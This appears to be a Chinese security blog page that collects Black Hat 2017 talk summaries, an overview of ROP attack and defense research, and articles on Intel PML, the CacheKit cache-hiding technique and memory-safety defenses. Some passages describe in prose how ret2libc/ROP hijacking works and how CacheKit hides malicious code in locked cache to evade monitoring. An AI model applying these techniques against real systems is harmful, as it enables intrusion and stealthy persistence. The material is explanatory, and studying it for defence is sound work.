数组的起源:标准如何驱动脚本引擎中的错误
【摘要】本文讨论了JavaScript的一些更有趣和不寻常的功能,以及它们如何导致各种软件的错误,包括Adobe Flash,Chrome,Microsoft Edge和Safari。

Slides:https://www.blackhat.com/docs/us-17/thursday/us-17-Silvanovich-The-Origin-Of-Array-Symbol-Species.pdf



Human Factors

【1】WIRE ME THROUGH MACHINE LEARNING

PRESENTED BY Ankit Singh & Vijay Thaware

Tracks: # Human Factors, # Enterprise

通过机器学习WIRE ME
【摘要】本文将介绍攻击者通过机器学习设计和执行BEC(商业电子邮件妥协)攻击所使用的最重要的策略之一。BEC攻击是高度针对性的攻击,并通过熟练的社会工程进行高水平的研究。还将提供一个关于攻击者的机器学习模型如何在提供给它的信息的帮助下训练自己的演示,最后将讨论在机器学习的帮助下可以实现的缓解措施。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Singh-Wire-Me-Through-Machine-Learning.pdf


【2】REAL HUMANS, SIMULATED ATTACKS: USABILITY TESTING WITH ATTACK SCENARIOS

PRESENTED BY Lorrie Cranor

Tracks: # Human Factors

真人模拟攻击:攻击场景的可用性测试
【摘要】用户研究对于了解用户如何感知和与安全和隐私软件和功能的交互至关重要。在(模拟)风险的情况下进行用户研究是复杂的,本文将强调安全用户研究的重要性,并讨论在卡内基梅隆大学CyLab可用隐私和安全实验室使用的一些不同的用户研究方法。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Cranor-Real-Users-Simulated-Attacks.pdf


【3】BIG GAME THEORY HUNTING: THE PECULIARITIES OF HUMAN BEHAVIOR IN THE INFOSEC GAME

PRESENTED BY Kelly Shortridge

Tracks: # Human Factors, # Network Defense

大游戏理论探索:在信息安全的博弈中人的行为特点
【摘要】本文研究传统的游戏理论,并提出为什么行为博弈理论应该在防御哲学中占有一席之地。同时将解释信息安全游戏的“规则”,从研究中提出新的见解,研究维权者和攻击者如何具体地进行博弈,从理论到实践,看看行为博弈理论如何能够被切实地纳入维权者的战略决策流程。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Shortridge-Big-Game-Theory-Hunting-The-Peculiarities-Of-Human-Behavior-In-The-Infosec-Game.pdf


【4】SKYPE & TYPE: KEYSTROKE LEAKAGE OVER VOIP

PRESENTED BY Daniele Lain & Mauro Conti & Gene Tsudik & Alberto Compagno

Tracks: # Human Factors

Skype&Type:在VoIP上的按键泄漏
【摘要】本文通过观察,在VoIP电话期间,人们经常从事次要活动(包括打字),无意中会让潜在的窃听者充分访问其麦克风。从这些观察中,构建了涉及VoIP软件的被称为Skype&Type(S&T)的新攻击。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Lain-Skype-&-Type-Keystroke-Leakage-Over-VoIP.pdf


【5】CYBER WARGAMING: LESSONS LEARNED IN INFLUENCING SECURITY STAKEHOLDERS INSIDE AND OUTSIDE YOUR ORGANIZATION

PRESENTED BY Jason Nichols

Tracks: # Human Factors, # Policy

网络战争:在安全利益攸关方内部和外部组织中学习的经验
【摘要】本文描述了如何创造一个现实的动手的战争环境,它不仅可以教会参与者攻击和防御,而且能够实现其他的组织优势。并将向感兴趣的技术参与者介绍游戏环境的技术架构。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Nichols-Cyber-Wargaming-Lessons-Learned-In-Influencing-Stakeholders-Inside-And-Outside-Your-Organization.pdf



Internet of Things

【1】WHEN IOT ATTACKS: UNDERSTANDING THE SAFETY RISKS ASSOCIATED WITH CONNECTED DEVICES

PRESENTED BY Billy Rios & Jonathan Butts

Tracks: # Internet of Things, # Hardware/Embedded

当物联网攻击时:理解与连接设备相关的安全风险
【摘要】 本文将讨论物联网设备被重新利用对毫无戒心的用户进行物理攻击。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Rios-When-IoT-Attacks-Understanding-The-Safety-Risks-Associated-With-Connected-Devices.pdf


【2】REDESIGNING PKI TO SOLVE REVOCATION, EXPIRATION, AND ROTATION PROBLEMS

PRESENTED BY Brian Knopf

Tracks: # Internet of Things, # Cryptography

重新设计PKI解决撤销过期和循环问题
【摘要】 本文提出Neustar TDI,一个用于将PKI替换为具有实时撤销,关键循环,密钥重置/替换以及为每个设备,服务器,服务和用户提供个体认证功能的开源框架。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Knopf-Redesigning-PKI-To-Solve-Revocation-Expiration-And-Rotation-Problems.pdf


【3】HUNTING GPS JAMMERS

PRESENTED BY Vlad Gostomelsky

Tracks: # Internet of Things

捕获GPS干扰器
【摘要】 本文介绍了卫星导航和计时系统的漏洞以及这些漏洞的利用方式。首先介绍基于GPS的系统的具体漏洞 - GPS的主要漏洞是由于卫星信号的信号强度非常低。讨论了RF干扰对卫星导航和定时系统的影响,并介绍了一些由实际干扰事件引起的干扰实例。同时介绍了GPS位置和时序欺骗,表明欺骗可以在RF级别或应用层进行(Pokemon GO游戏被呈现为这种攻击实例),并展示了利用GPS漏洞的实例。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Gostomelsky-Hunting-GPS-Jammers.pdf


【4】FREE-FALL: HACKING TESLA FROM WIRELESS TO CAN BUS

PRESENTED BY Sen Nie & Ling Liu & Yuefeng Du

Tracks: # Internet of Things, # Exploit Development

Free-Fall:从WIRELESS到CAN BUS破解特斯拉
【摘要】 本文利用了一系列复杂的漏洞,在停车和驾驶模式下成功实施了特斯拉模型S的远程攻击。攻击从无线(Wi-Fi / Cellular)获得入口,危及许多车载系统如IC,CID和网关,然后将恶意CAN消息插入CAN总线。将首次分享在特斯拉上的整个攻击链细节,然后揭示特斯拉的OTA机制和代码签名功能的实施,并对特斯拉的新缓解措施进行探讨。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Nie-Free-Fall-Hacking-Tesla-From-Wireless-To-CAN-Bus.pdf


【5】TAKING OVER THE WORLD THROUGH MQTT - AFTERMATH

PRESENTED BY Lucas Lundgren

Tracks: # Internet of Things, # Human Factors

通过MQTT接管世界 -后果
【摘要】 MQTT由许多M2M IoT设备使用,特别是需要低带宽通信的设备。本文发现了一个非常基本的fuzzer和几个关于安全的报告。创建了测试端点的小工具,发现协议数据在大多数时候会被写入SQL数据库,所以还将通过这个协议来看SQL和服务器攻击。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Lundgren-Taking-Over-The-World-Through-Mqtt-Aftermath.pdf


【6】IOTCANDYJAR: TOWARDS AN INTELLIGENT-INTERACTION HONEYPOT FOR IOT DEVICES

PRESENTED BY Tongbo Luo & Zhaoyan Xu & Xin Ouyang & Xing Jin

Tracks: # Internet of Things, # Network Defense

IOTCANDYJAR:为物联网设备提供智能交互的蜜罐
【摘要】 本文专注于改进蜜罐来改善物联网的安全性,并提出为什么我们需要巨大的创新来构建IoT设备的蜜罐。提出了一种自动的方式来学习物联网设备的行为知识,构建“智能交互”蜜罐。并利用多种机器学习技术来提高质量和数量。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Luo-Iotcandyjar-Towards-An-Intelligent-Interaction-Honeypot-For-IoT-Devices.pdf



Smart Grid/Industrial Security

【1】ADVENTURES IN ATTACKING WIND FARM CONTROL NETWORKS

PRESENTED BY Jason Staggs

Tracks: # Smart Grid/Industrial Security, # Network Defense

攻击风电农场控制网络的挑战
【摘要】 本文说明了风电场控制网络是如何工作的,以及如何对风电场的运行实施攻击,从而产生负面影响。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Staggs-Adventures-In-Attacking-Wind-Farm-Control-Networks.pdf


【2】INDUSTROYER/CRASHOVERRIDE: ZERO THINGS COOL ABOUT A THREAT GROUP TARGETING THE POWER GRID

PRESENTED BY Robert Lee & Joe Slowik & Ben Miller & Anton Cherepanov & Robert Lipovsky

Tracks: # Smart Grid/Industrial Security, # Network Defense

INDUSTROYER/CRASHOVERRIDE:没有事情在针对电力网络的威胁组织上是酷的
【摘要】 本文通过乌克兰2015年和2016年的事件,重点关注恶意软件,以及其技术分析,对网格操作的影响。从这样一个重大的威胁中学习,对确保我们的防御系统保持安全至关重要。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Lee-Industroyer-Crashoverride-Zero-Things-Cool-About-A-Threat-Group-Targeting-The-Power-Grid.pdf


【3】(IN)SECURITY IN BUILDING AUTOMATION: HOW TO CREATE DARK BUILDINGS WITH LIGHT SPEED

PRESENTED BY Thomas Brandstetter

Tracks: # Smart Grid/Industrial Security, # Internet of Things

建筑自动化中的安全性:如何以光速创造黑暗的建筑物
【摘要】 本文通过应该考虑到的建筑自动化系统描述了典型的攻击场景,以及在没有漏洞的情况下,如何利用常见建筑自动化协议中像BACnet/IP和KNXnet/IP的一些协议功能来支持恶意攻击者。还将讨论安全工具箱中值得注意的工具,从建筑自动化工具箱中进行一些攻击或其准备步骤。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Brandstetter-insecurity-In-Building-Automation-How-To-Create-Dark-Buildings-With-Light-Speed.pdf


【4】BREAKING THE LAWS OF ROBOTICS: ATTACKING INDUSTRIAL ROBOTS

PRESENTED BY Davide Quarta & Marcello Pogliani & Mario Polino & Federico Maggi & Andrea Maria Zanchettin & Stefano Zanero

Tracks: # Smart Grid/Industrial Security, # Hardware/Embedded

打破机器人的规律:攻击工业机器人
【摘要】 工业机器人必须遵循三个基本规律:通过传感器从物理世界准确地“读取”,通过执行器“写”(即执行动作),拒绝执行自我损害的控制逻辑,最重要的是从不伤害人类。本文通过结合在机器人上发现的一组漏洞,将展示远程攻击者如何能够违反这些基本规律。将涵盖深入的技术方面(例如逆向工程和漏洞细节以及攻击PoC),以及对工业路由器和机器人的安全状况的广泛讨论。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Quarta-Breaking-The-Laws-Of-Robotics-Attacking-Industrial-Robots.pdf


【5】EVIL BUBBLES OR HOW TO DELIVER ATTACK PAYLOAD VIA THE PHYSICS OF THE PROCESS

PRESENTED BY Marina Krotofil

Tracks: # Smart Grid/Industrial Security, #Hardware/Embedded

邪恶的泡泡,如何通过物理过程传送攻击有效载荷
【摘要】 本文将进行实物演示在运行中受到破坏的场景,并通过伪造阀门定位器传感器信号以隐藏操作人员的攻击。然后将讨论对这次攻击的检测。采取过程数据合理性和一致性检查的形式,通过监测泵的健康状况,确定进程的持续不利状态,并准确确定持续的过程及其可能的原因。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Krotofil-Evil-Bubbles-Or-How-To-Deliver-Attack-Payload-Via-The-Physics-Of-The-Process.pdf


【6】AND THEN THE SCRIPT-KIDDIE SAID, “LET THERE BE NO LIGHT.” ARE CYBER-ATTACKS ON THE POWER GRID LIMITED TO NATION-STATE ACTORS?

PRESENTED BY Anastasis Keliris & Mihalis Maniatakos & Charalambos Konstantinou

Tracks: # Smart Grid/Industrial Security

Script-kiddie说让这里没有光。对电力网的网络攻击只局限在国家级攻击者的范围吗?
【摘要】 本文提供一种用有限预算来攻击电力系统的结构化方法。首先将展示从网络获得的信息,这些信息可用来建模和分析目标电力系统,以及模拟全球的电力系统。然后将展示在电力系统中广泛部署的通用Electric Multilin产品中发现的关键漏洞,还将展示一种通过网络远程指纹影响设备的技术。现场演示如何利用feeder管理中继器漏洞对一个国家产生重大影响。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Keliris-And-Then-The-Script-Kiddie-Said-Let-There-Be-No-Light-Are-Cyberattacks-On-The-Power-Grid-Limited-To-Nation-State-Actors-wp.pdf



Security Development Lifecycle

【1】ORANGE IS THE NEW PURPLE - HOW AND WHY TO INTEGRATE DEVELOPMENT TEAMS WITH RED/BLUE TEAMS TO BUILD MORE SECURE SOFTWARE

PRESENTED BY April C. Wright

Tracks: # Security Development Lifecycle, # Platform Security

橙色是新的紫色-如何以及为什么要以红色/蓝色的方式整合开发团队来建立更安全的软件
【摘要】本文引入一个新的范例,将开发人员与进攻和防守团队整合,以加强SDLC。 “Red + Yellow == Orange && Blue + Yellow == Green”这个新概念重点关注开发人员作为安全保障活动的重要组成部分,与进攻型与防守型队伍相结合。橙色团队通过创建一个永久性攻击性测试和威胁建模的循环,通过高水平的专用交互使软件更加安全,从而增加了SDLC的价值。绿色团队帮助确保软件能够提供良好的DFIR信息时增值。并且评估不同的团队组合如何导致更安全的软件。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Wright-Orange-Is-The-New-Purple.pdf


【2】DELIVERING JAVASCRIPT TO WORLD+DOG

PRESENTED BY Kyle Randolph

Tracks: # Security Development Lifecycle, # Platform Security

向世界+DOG发送JavaScript
【摘要】本文将审查在网络上提供第三方JavaScript的威胁模型,讨论将SDL集中在这些缺陷上的策略。然后将探讨从SaaS平台到CDNs到浏览器中交付架构的关键点,最后分享构建保护JavaScript传递的产品和工程文化的策略。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Randolph-Delivering-Javascript-to-World-Plus-Dog.pdf

ROP攻与防

diting0x

ROP是一种代码复用攻击方式(Code Reuse Attack)。 ROP攻击劫持控制流后,复用内存中可执行的指令(gadget),这些gadgets以ret指令返回,攻击者利用这些gadgets以不同方式拼接并执行,完成攻击过程。

下面以几个图来展示ROP攻击(图来源于Blackhat 2013 Kevin Z.Snow, Luca Davi)

metaphor:




攻击过程:













代码复用攻击历史:




再次声明,以上六张图全部来源于(Blackhat 2013 Kevin Z.Snow, Luca Davi)

上图可以大致了解2010年前ROP的发展历程,而下文大多数介绍的是近三五年ROP的攻与防。

Ret2libc可以说是ROP的前身,有点接近ROP。其主要是复用libc的函数地址(而不是含有shellcode代码的栈地址)覆盖被利用栈的返回地址。如果攻击者想触发一个shell, 他会利用system()地址来覆盖返回地址并设置好system()在栈中需要的必要参数,以便能成功调用system()。

随着ASLR的出现,将程序的数据段、堆、栈以及共享库在内存中的位置随机化,使得Ret2libc和ROP变得更加困难。
道高一尺魔高一丈,一攻一防,近些年对ROP的研究越来越热,不断有研究者设计更高级的ROP来绕过系统中现有的防御机制(包括DEP,ASLR),又不断有研究者设计更安全的ASLR或其它安全机制来抵御ROP。

攻:JIT-ROP(IEEE S&P 2013),其主要思想是即时扫描有效内存,即时反汇编搜寻rop gadgets。具体过程是,利用内存泄漏(memory disclousure)获取一个运行时的代码指针,泄漏当前4K的内存页,再利用页中指向其它页的分支获取更多的页面。之后将当前页反汇编获取所需的gadgets,构造ROP链。

slides

防:ROPecker (NDSS 2014)

ROPecker是一个利用Intel LBR特性记录代码执行流来检测和防御ROP的工具,是第一个可以针对所有形式ROP攻击的一种general的,不需要源代码,二进制代码重写。

ROPecker分析了现有ROP攻击的特点,发现ROP的gadgets一般利用jmp与分支判断指令跳转,在代码段中会进行大幅度的跳转,且其调用链很长。基于这两个特点,ROPecker先对要检测的程序进行离线gadgets分析,利用LBR记录代码执行流的分析信息,将不在代码当前执行片段周围的代码(sliding window)设置为不可执行状态,执行sliding window以外的代码就会触发ROPecker对攻击的分析。基于离线gadgets分析,再加上LBR的分析信息(当前程序的过去和未来的执行情况),一旦发现程序的执行流不符则认为程序受到了ROP攻击,则强制终止程序。以上检测和防御机制假设DEP已经打开。
pdf

防:Kbouncer(Security’13) 也是利用LBR记录程序的执行分支信息,识别程序的控制流转移信息,在关键点监控程序的间接指令来检测并防御ROP,其在Windows 7中实现。Kbouncer基于两个发现,1) ROP攻击会返回到non-call-preceded地址,其相对应的防御机制是Call-Preceded原则,没有恶意的代码指令执行的时候,ret指令回到的地址的上一条指令一定是call;2)ROP是由许多短gadgets组成的长链序列,其相对应的防御机制是不允许许多短gadgets组成的长链序列
slides

攻: ROP is Still Dangerous:
Breaking Modern Defenses (Security’14 -Berkeley)
Abstract: 提出三种方法(Call-Preceded ROP, Evasion Attacks, History Flushing)攻破现有的ROP防御方法,包括kbouncer,ROPecker。
并对未来防御ROP的方式提出两点要求:1)将代码分类成gadgets与non-gadgets并非易事;2)防御机制需要集中关注正常执行与ROP攻击的基本不同点。

slides
pdf video

防:ASLR-Guard(ccs’15 Byoungyoung)
要实施code reuse attack,要满足两个条件:1.知道现有gadgets的地址,2.用这个地址覆盖被控制的数据。对2的防御有:stackguard,cfi,code pointer integrity,对1的防御有:ASLR,但是ASLR有个缺陷,信息泄露,比如代码指针的泄露导致可验获取代码地址(JIT-ROP,Blind ROP, “Missing the point”)
本文目标:阻止代码指针的泄露。方法:系统化的发现代码指针,两种技术来阻止代码指针的泄露,隔离与加密。将代码指针存储在隔离的内存区域,隔离还不够,还需进行加密。实现:gcc,gas,ld,ld.so 3000sloc,eglibc,glibc。
slides pdf

防:XnR (CCS’15)
里面关于rop,aslr,jit-rop等介绍的很详细
该文从代码泄漏的角度进行了防护:当代码在被执行期间,不允许对代码的读操作,从而能有效抵御JIT code reuse攻击,简称XnR。类似W^X(W⨁X)策略。 这一思路在无硬件支撑的条件下,通过软件MMU实现,
基本思路:要实现XnR策略,在硬件不支持的情况下,可通过修改MMU中处理过程,实现软体MMU。 目前架构中:mmu可以检测到写,但是无法检测到读;读只能通过内存页的non-present实现;但是一旦non-present的话,代码也将无法运行。解决方法:修改page fault handler,在handler中区分page fault产生的原因,并决定是否继续正常执行,还是发现代码内存读取行为,中止执行。 具体的,在代码运行期间,仅允许极少的代码可读,文中的实验数据表明,采用3页的sliding windows是一个比较好的选择,即当前代码页面的相邻两页。是否可读性的实现方式是通过设置页面的present位实现,非法的读取将陷入中断,在中断中判断中断原因是缺页还是非法读。
PDF 来自liangyu blog

防:No-Execute-After-Read:
Preventing Code Disclosure in Commodity Software (AsiaCCS’16)
文章提出最新的XnR技术不能防御just-in-time的代码复用攻击,并设计了一种No-Execute-After-Read(NEAR),针对just-it-time攻击进行强安全保证。NEAR允许所有代码被披露,但是阻止被披露的代码继续执行。
pdf


待续

Intel VT 页面修改记录(PML)

diting0x

Intel VT 2015年推出page-modification logging(PML),
VMM可以利用EPT监控虚拟机在运行期间物理页面的修改。

在没有PML前,VMM要监控xu虚拟机中物理页面的修改,需要将EPT的页面结构设置为not-present或者read-only,这样会触发许多EPT violations,开销非常大。

PML建立在CPU对EPT中的accessed与dirty标志位支持上。
当启用PML时,对EPT中设置了dirty标志位的写操作都会产生一条in-memory记录,报告写操作的虚拟机物理地址,当记录写满时,触发一次VM Exit,然后VMM就可以监控被修改的页面。

这是KVM 对支持PML的patch

这是XEN支持PML的patch

VMWare 也对PML开始有了支持

参考来源

Page Modification Logging for Virtual Machine Monitor White Paper

CacheKit 利用cache不一致性绕过内存监控

diting0x

听了Prof Kun Sun的报告,略作总结。

CacheKit核心思想:利用Trustzone的cahce不一致性,将恶意代码加载一块系统预留的I/O空间重定向的cache中,绕过安全世界和正常世界的监控。





几个发现

  • 1),安全世界可以访问正常世界的内存、CPU寄存器,反之则不行。但是,安全世界无法访问正常世界的cache内容
  • 2),内存空间:0x80000000-0xFFFFFFFF
    I/O空间: 0x0 -0x7FFFFFFF,其中0x1300000-0x1500000属于系统预留
  • 3),NS(non-secure)位,置零则表示在安全世界的cache,否则表示正常世界的cache。
  • 4), cache flush: 在安全世界中,不管cache lind的NS位是什么,会flush所有的cache line;而在正常世界中,只会fulsh正常世界的cache, NS=1.
  • 5),cache不一致性:同一块物理地址可以在安全世界和正常世界对应不同的cache line。
  • 6),有两种获取系统物理内存的方法,一是从处理器中获取,二是利用DMA从外设中获取;而DMA获取的方法直接获取物理内存而不会获取处理器中的cache内容

利用过程

1)将恶意代码加载到正常世界的cache中,但不加载到RAM中;

2)利用ARM cache locking机制保证恶意代码能持续存在cache中,而不会被换出 ;

3)控制物理地址空间保证恶意代码的隐蔽性。

如何做到上述的利用过程?


三个挑战

1) cache加载:在DRAM初始化前,允许让BLOS代码将栈存储在cache中(cache-as-ram CAR系统)。cacheKit利用CAR将恶意代码存储在cache中。

处理器cache的设计是为了对系统软件透明,所以ARM架构不支持在正常操作过程中直接访问cache lines,要让处理器读写cache中的内容,必须让处理器读写虚拟内存。
可以分两步进行,第一步是要让内存能够进行caching,具体细节可以参考论文4.2.1;
第二步是要让代码中的所有比特填充cache,但要避免将加载cache本身的程序代码也放进cache。

2)cache locking: 硬件支持将cache 锁住,ARMv7允许系统软件锁住八组cache中的七组。

3) cache 隐藏: 保证cachekit绕过安全世界和正常世界的监控;

  • 绕过正常世界监控:在正常世界中,当获取物理内存工具(如LiME)从处理器中读取物理内存时,获取的过程也会显示cache中的值。解决方法是利用未使用的系统I/O地址区域的cache,而取证者不会扫描这块区域,就算取证者打算扫描这块区域,也很难辨认哪个地址是安全可读的,哪些要跳过的,一不小心读到特定的硬件控制位就会导致系统停机与崩溃

  • 绕过安全世界监控:发现1)2)5)。安全世界无法访问正常世界中cache的内容。

cache隐藏细节:直接使用cache locking会带来两个问题;
第一个问题就是,直接在正常世界的kernel中做introspection,使用kernel模块将每个内存页面映射到内核地址空间仍然可以读取cache的内容;第二,cache lines被锁住以后,仍然可以clean操作将其内容写入到内存中。要解决这两个问题,就是利用系统预留内存0x1300000-0x1500000.在部署cachekit之前,这块区域是直接被MMU重定向到外设总线的;部署cachekit之后,利用cache-as-ram技术将其这块区域配置为内存空间,对这块区域所有的读写操作都被重定向到处理器的cache中。这块区域不会被任何RAM或者I/O设备所支持,不会有任何物理设备对这块区域响应。


来源

CacheKit: Evading Memory Introspection Using Cache Incoherence - ES&P’2016 Kun Sun

内存持久战之防御措施

作者:Diting0x


CSysSec注: 本系列主要介绍内存的安全性问题,以及相应的攻击模型及防御措施,对整个系统安全问题的概览有很大的帮助。
转载本文请务必注明,文章出处:《内存持久战之防御措施》与作者信息:Diting0x


  • 0X01 广泛部署的防御机制
  • 0X02 防御机制Step-by-step

继前两篇文章 内存持久战-内存安全性, 内存持久战-攻击模型, 再加上防御措施,才能算是完整的内存战争。本文首先介绍目前广泛部署的防御机制,然后根据 内存持久战-攻击模型 每一步实施的攻击破坏介绍相对应的防御细节。

0X01 广泛部署的防御机制

目前广泛部署的防御机制有栈粉碎性保护(Stack smashing protection),DEP/W⊕X以及ASLR(Address Space Layout Randomization)。针对Windows平台,也提出了一些特殊的机制,比如 SafeSEH 与 SEHOP 用来保护堆的元数据和异常处理器。

栈粉碎性保护,SafeSEH以及SEHOP的基本思想是在返回地址与缓冲区(比如函数入口)之间放置随机数作为哨兵(称为cookie或canary),在函数返回前先检测哨兵的值是否被篡改,以达到检测缓冲区溢出攻击的目的。这些机制都属于代码指针保护方式(code pointer integrity),主要检测一些特殊代码指针,如栈上的返回地址、异常处理器指针的完整性,然而对于直接修改(比如索引错误)却无能为力。有关stack smashing 可参考这篇文章 Anatomy of a Stack Smashing Attack and How GCC Prevents It

W⊕X(write XOR executable)属于DEP(data execution prevention)的子集,是不可执行数据(Non-executable data)与代码完整性(code integrity)的结合。所有现代CPU都支持设置不可执行页面权限,结合不可写代码权限,就可以实施W⊕X机制,很简单也很实际。然而无法防御ROP(return oriented programming),ROP指的是在将现有代码中的可复用代码(可以是现有的函数)以及一些指令序列(gadgets)连接起来实施恶意操作。有关ROP可参考这篇文章,Return-oriented Programming:
Exploitation without Code Injection
.

ASLR在下文会详细描述。

0X02 防御机制Step-by-step

从目前提出的所有防御机制来看,可将其划分为两大类:概率性以及确定性防御。概率性机制用来随机化一些对象,如ISR(Instruction Set Randomization), ASLR(Address Space Randomizatioin)以及DSR(Data Space Randomization),可选手段相对较少。 确定性防御机制实施reference monitor, 有关reference monitor的定义可参考,wikipedia page on reference monior, 主要就是在参考验证机制上定义了一些设计要求。 其主要利用静态与动态注入技术,静态注入可在编译阶段实施,动态注入需要在运行时加入代码,损耗相对较大。有关注入技术,可参考前面的文章 PIN for Dynamic Binary Instrumentation

下面将针对攻击模型中实施的每个步骤介绍相对应的防御机制,每种防御机制对应每一步的攻击过程。
可以先去回顾一下 内存持久战之攻击模型 的完整实施过程。注意,以下介绍的防御机制并没有时序关系,以横向关系依次描述。

Step 1&2: Memory safety. 考虑完整的内存安全性,空间错误和时域错误都需要阻止。类型安全(Type-safe)的语言通过检查数组边界并使用自动垃圾回收来实施空间与时域安全性。对于非类型安全语言,可嵌入reference monitor针对非安全代码实施类似的策略,对象可以是源码、中间语言、二进制。

针对空间安全,可跟踪指针边界,将指针结构体的表示方法扩展,加入额外信息。但是这种需要源码标注(annotation),对于庞大的代码基是不实用的,甚至会改变内存结构带来二进制兼容性问题。可参考 CCured 项目。为解决兼容性问题,越来越多研究者开始追踪对象边界,不但要知道对象分配的内存区域边界,并利用指针运算而不是引用指针来保护指针边界。

然而,检测边界并不能解决use-after-free, double-free(use-after-free的特列)问题. 此时,实施时域安全可作为补充。1)特殊的分配器:释放的内存只能被同类型对象重用并对齐。此策略可阻止user-after-free攻击,但对dangling pointers无效;2)基于对象的方法:利用影子内存标记每一块释放的内存位置,如果访问最近被释放的空间就能被检测到。著名的Valgrind内存检测就是利用此方法来检测user-after-free错误的。有关Valgrind的内存检测技术将会在后续的文章Valgrind内存检测 详细介绍。如果标记的内存区域重新被新的指针指向,对其的非法访问就检测不到了;3)基于指针的方法:同时维护指针的边界信息与内存分配信息实施全面的内存安全。

Step 3: 代码完整性(code integrity, 对应修改代码),代码指针完整性(code pointer integrity,对应修改代码指针)以及数据完整性(data integrity,对应修改数据变量).

代码完整性保证程序中的代码不可写性,可以将含有代码的所有内存页面设置为read-only,所有现代CPU都支持此操作。但是,代码完整性并不支持自我修改(self-modifying)的代码以及即时(Just-In-Time, JIT)编译。代码指针完整性保护指针不被修改,对于不变指针,如全局偏移表、虚拟函数表(vtable),可将其内存页设置read-only。但大部分指针,如定义的函数指针或保存的返回地址必须是可写的。另外,就算内存中所有的函数指针都能实施代码指针完整性,并不能防御use-after-free攻击,例如,通过悬挂指针读取错误的vtable
来改变程序的控制流并不会涉及内存中的覆盖代码指针操作。

数据完整性的实施近似空间安全保护,但并没有实施时域安全保护。数据完整性包括基于对象的完整性保护以及基于points-to集合的完整性保护。基于对象的完整性保护利用静态指针分析来鉴别出不安全的指针集(比如可能会越界的指针)以及指针的points-to集合,然后在代码中插入用影子内存跟踪对象的创建与释放的代码,当对不安全的指针进行写操作或引用操作时会检测指针的位置是否标记在影子内存中。基于points-to集合的完整性保护在基于对象的完整性保护上加了一个限制,每个解引用只能写它自己指向的集合对象,是对其保护的加强。

Step 4: ISR(对应指针转向攻击者特定代码),ASLR(对应指向shellcode或者gadget的地址),DSR(对应解析输出的数据变量).

ISR随机化系统指令来保护代码破坏攻击,随着硬件的更新与发展,ISR技术已经废弃;ASLR随机化代码和数据的存储位置来防御控制流劫持攻击,如果payload(指恶意代码中执行恶意操作的部分)在虚拟内存空间的地址不是固定的,攻击者就无法转移控制流。ASLR也是目前用来保护劫持攻击运用最广泛的技术,然后ASLR的随机化是可预测的,尤其是32位机器,heap-spraying以及JIT-spraying技术可以多次填充payload使随机化失效;

DSR将存储在内存中的数据形式,而不是存储位置,进行随机化。它为每个变量,包括指针,生成不同的key并进行加密操作,数据的每次读取/存储操作都多了个加解密过程。该方法在代码注入之前都要对指针进行静态分析,overhead较大,但保护比较健壮,能有效防止信息泄露,还能防御控制流劫持以及数据攻击。

Step 5: 控制流完整性(control-flow integrity,对应利用间接跳转指令 call/jump 引用指针,利用返回指令引用指针)以及数据流完整性(data-flow integrity,对应引用破坏后的数据变量).

控制流完整性包括动态返回完整性以及静态控制流图完整性。前文提到的栈粉碎性保护机制不能保护间接调转(call and jump),不能防御直接修改破坏以及信息泄露,但开销小,兼容性好,所以运用比较广泛。影子栈技术能够解决栈粉碎性保护的信息泄露以及直接修改破坏问题,它把返回地址存入隔离的影子栈中,当函数返回时,对原有栈和影子栈两处保存的值做比较,已保证不被篡改。为了防御控制流劫持,不但要保护返回值,还要保护间接跳转,静态控制流图完整性的方式标记所有的call,jump,并将其标记信息存储在特殊的影子内存中或直接放进代码里; 数据流完整性在数据被使用前,通过检查read指令检测数据是否被破坏。它使用静态points-to分析构建一个全局的可达定义集合(reaching definition sets),保证数据变量最近一次被写是通过程序中的写指令写入的,而不是攻击者可控制的写入。有关reaching definition sets的定义可参考 wikipedia page on Reaching definition.

Step 6: 不可写数据策略(Non-executable data,对应执行注入的shellcode).
Non-executable data 保护栈、堆之类的内存页面不可执行,只需要设置内存页面的执行位即可。实际上Non-executable data策略与代码完整性结合就是W⊕X机制。

每个攻击过程对应的防御机制都已讲完。横向来看,所有攻击模型的每个步骤都有多个防御方法;纵向来看,每种攻击在不同的实施阶段也有不同的防御方法,如控制流劫持攻击,从Step1-6分别有,内存安全性机制(step 1-2),代码指针完整性(step 3),ASLR(step 4), 控制流完整性(step 5)以及不可写数据策略(step 6)不同的防御机制。要阻止某种攻击或多种攻击,需要结合多种防御机制,每种机制也都有其优势与弱点。评判防御机制的性质,可从以下方面去衡量,保护强度、误报率、漏报率、性能开销、内存开销、兼容性,是否模块化等。

至此,内存持久战系列文章就到这里了,水平有限,很多不到位的地方欢迎补充修正。 回顾一下,最后用下面这张图总结,就清晰明了了。[图来源于S&P’13]




参考

Anatomy of a Stack Smashing Attack and How GCC Prevents It

Return-oriented Programming: Exploitation without Code Injection.

wikipedia page on reference monior

CCured

S&P’13 Eternal War in Memory


转载本文请务必注明,文章出处:《内存持久战之防御措施》与作者信息:Diting0x

内存支持战之攻击模型

作者:Diting0x


CSysSec注: 本系列文章主要介绍内存的安全性问题,以及相应的攻击模型及防御措施,对整个系统安全问题的概览有很大的帮助。
转载本文请务必注明,文章出处:《内存持久战之攻击模型》与作者信息:Diting0x


  • 0X01 基本攻击模型
  • 0X02 构建攻击模型

